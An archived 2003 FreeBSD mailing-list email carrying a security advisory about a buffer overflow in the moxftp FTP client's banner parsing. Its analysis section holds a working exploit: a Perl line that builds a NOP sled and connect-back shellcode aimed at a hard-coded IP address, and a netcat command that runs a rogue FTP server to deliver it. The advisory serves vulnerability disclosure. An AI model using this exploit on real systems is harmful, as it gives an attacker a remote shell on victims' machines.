Date: Wed, 12 Feb 2003 23:41:26 +0100 From: =?iso-8859-1?Q?Knud_Erik_H=F8jgaard?= <kain@ircop.dk> To: <security-officer@freebsd.org>, <ports@freebsd.org> Subject: moxftp buffer overflow Message-ID: <001401c2d2e7$e07c8350$24029dd9@tuborg>
next in thread | raw e-mail | index | archive | help
This is a multi-part message in MIME format. ------=_NextPart_000_0011_01C2D2F0.42101750 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit Attached document explains all, note that I seem unable to contact the author of the program. -- Knud Erik Højgaard ------=_NextPart_000_0011_01C2D2F0.42101750 Content-Type: text/plain; name="moxftp.txt" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="moxftp.txt" I. BACKGROUND According to the vendor moxftp is a "Ftp shell under X Window System". /usr/ports/ftp/moxftp II. DESCRIPTION Insufficient bounds checking leads to execution of arbitrary code.=20 III. ANALYSIS Upon parsing the '220 welcome to server' ftp banner a buffer can be overrun, allowing us to execute our arbitrary code. The buffer may be=20 constructed as such: [508 bytes][ebp ][eip ][nops][shellcode]. Placing=20 the nops and shellcode in the buffer before ebp seems to cause some=20 problems, luckily there's plenty of space after eip. Example run: $ perl -e 'print "220 " . "\x90" x 508 . "\x48\xfa\xbf\xbf" x 2 . "\x90" = x 100 . = "\x31\xc9\xf7\xe1\x51\x41\x51\x41\x51\x51\xb0\x61\xcd\x80\x89\xc3\x68\xd9= \x9d\x02\x24\x66\x68\x27\x10\x66\x51\x89\xe6\xb2\x10\x52\x56\x50\x50\xb0\= x62\xcd\x80\x41\xb0\x5a\x49\x51\x53\x53\xcd\x80\x41\xe2\xf5\x51\x68\x2f\x= 2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x54\x53\x53\xb0\x3b\xcd\x80" = . "\n"' > file # nc -l -p 21 < file This sets up a rogue server which will overflow the buffer, and execute the shellcode. The shellcode is connect-back to 217.157.2.36 port 10000, replace "\xd9\x9d\x02\x24" with a suitable ip for testing. IV. DETECTION moxftp-2.2 shipping with the FreeBSD ports system as well as from=20 various webpages per 9/2-03 is vulnerable. V. WORKAROUND unknown VI. VENDOR FIX unknown VII. CVE INFORMATION unknown VIII. DISCLOSURE TIMELINE unknown IX. CREDIT Knud Erik H=F8jgaard ------=_NextPart_000_0011_01C2D2F0.42101750-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-ports" in the body of the message
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?001401c2d2e7$e07c8350$24029dd9>